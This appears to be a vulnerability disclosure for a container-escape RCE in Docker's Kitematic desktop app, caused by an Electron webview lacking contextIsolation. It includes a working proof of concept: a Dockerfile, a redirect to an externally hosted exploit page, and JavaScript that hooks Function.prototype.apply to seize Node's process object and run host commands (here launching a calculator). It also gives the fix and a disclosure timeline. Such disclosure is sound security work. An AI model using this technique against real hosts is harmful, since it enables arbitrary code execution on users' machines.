Docker Desktop (formaly Kitematic) Container Escape and RCE via “Web Preview”
Overview #
It is possible for a malicious (or compromised) Docker image to escape the container and execute code on the host via the “Web Preview” feature in the Kitematic desktop application. The root cause is an Electron webview configured for remote/untrusted content with nodeIntegration disabled, but without contextIsolation enabled.
Proof of Concept #
Video link: YouTube PoC
Background: How “Web Preview” Works #
When running a container, Kitematic checks whether one of a set of common “web ports” is exposed (80, 8000, 8080, 8888, 3000, 5000, 2368, 9200, 8983). If so, it attempts to render the container’s web service in a Web Preview Electron webview.
Relevant code:
The Bug: Missing contextIsolation #
Electron’s webview defaults to nodeIntegration: false, which prevents direct access to Node APIs from the loaded page. However, for remote/untrusted content, Electron also recommends enabling context isolation:
“Context isolation is an Electron feature that allows developers to run code in preload scripts and in Electron APIs in a dedicated JavaScript context… global objects like
Array.prototype.pushorJSON.parsecannot be modified by scripts running in the renderer process.”
Reference:
Without contextIsolation, the webview content runs in a shared JavaScript global environment with the host application’s renderer context. That shared surface makes it possible to tamper with built-ins and unexpectedly interact with privileged objects.
Exploitation: Abusing the Shared Context #
The attack abuses the lack of context isolation to obtain access to Node’s process object from within the untrusted preview page:
- The preview page triggers access to
window.root. window.rootis a legacy “global” property originating from Node that ends up shared into the webview global scope.- Accessing it triggers a
DeprecationWarning, which callsprocess.emitWarning(...). - Deep in the warning/event emitter path, Node eventually calls
Function.apply(...)with Node’sprocessobject as the first argument. - Because the webview shares a global context with the renderer, the untrusted page can hook
Function.prototype.applyand capture that argument when it is invoked. - Once
processis obtained, the payload can execute host commands via:process.mainModule.require('child_process')
At that point, code execution is in the context of the user running Kitematic — i.e., host RCE.
Container PoC #
The example Docker image runs an nginx:alpine web server that immediately redirects the Web Preview to a page hosting the exploit JavaScript.
Dockerfile #
FROM nginx:alpine
COPY . /usr/share/nginx/html
EXPOSE 80
index.html #
<script>
location.href = "https://maustin.net/hax/electron/contextisolation.html";
</script>
contextisolation.html (exploit) #
<script>
var isMac = navigator.platform.toUpperCase().indexOf('MAC') >= 0;
Function.prototype.apply = new Proxy(Function.prototype.apply, {
apply: function (target, thisArg, argumentsList) {
if (argumentsList[0] && argumentsList[0].mainModule) {
let process = argumentsList[0];
if (!process.hacked) {
process.hacked = true;
if (isMac) {
process.mainModule.require('child_process').execSync('open /Applications/Calculator.app');
} else {
process.mainModule.require('child_process').execSync('calc');
}
}
}
return Reflect.apply(target, thisArg, argumentsList);
}
});
console.log(window.root);
</script>
Impact #
This turns “run a container image” into “run attacker-controlled code on the host desktop” when Kitematic auto-renders the exposed service in Web Preview. A compromised registry image (or any image pulled from an untrusted source) could execute arbitrary commands on the host with the user’s privileges.
Fix #
Set the webpreferences attribute on the webview tag to enable context isolation:
webpreferences="contextIsolation=yes"
Disclosure Timeline #
- 2019-09-18: Reported issue to
security@docker.com - 2019-09-25: Fix committed: docker/kitematic commit
6554c5c6d5921bed1e94ee810bad00a9459aade2 - 2019-09-25:
v0.17.9released with fix in place - 2019-10-01: Notice released; request disclosure
- Docker response: unable to automatically update existing installs; requested holding off on release
- 2019-12-02: Requested update on pushing out change (no reply)
- 2019-12-10: Second request for update (no reply)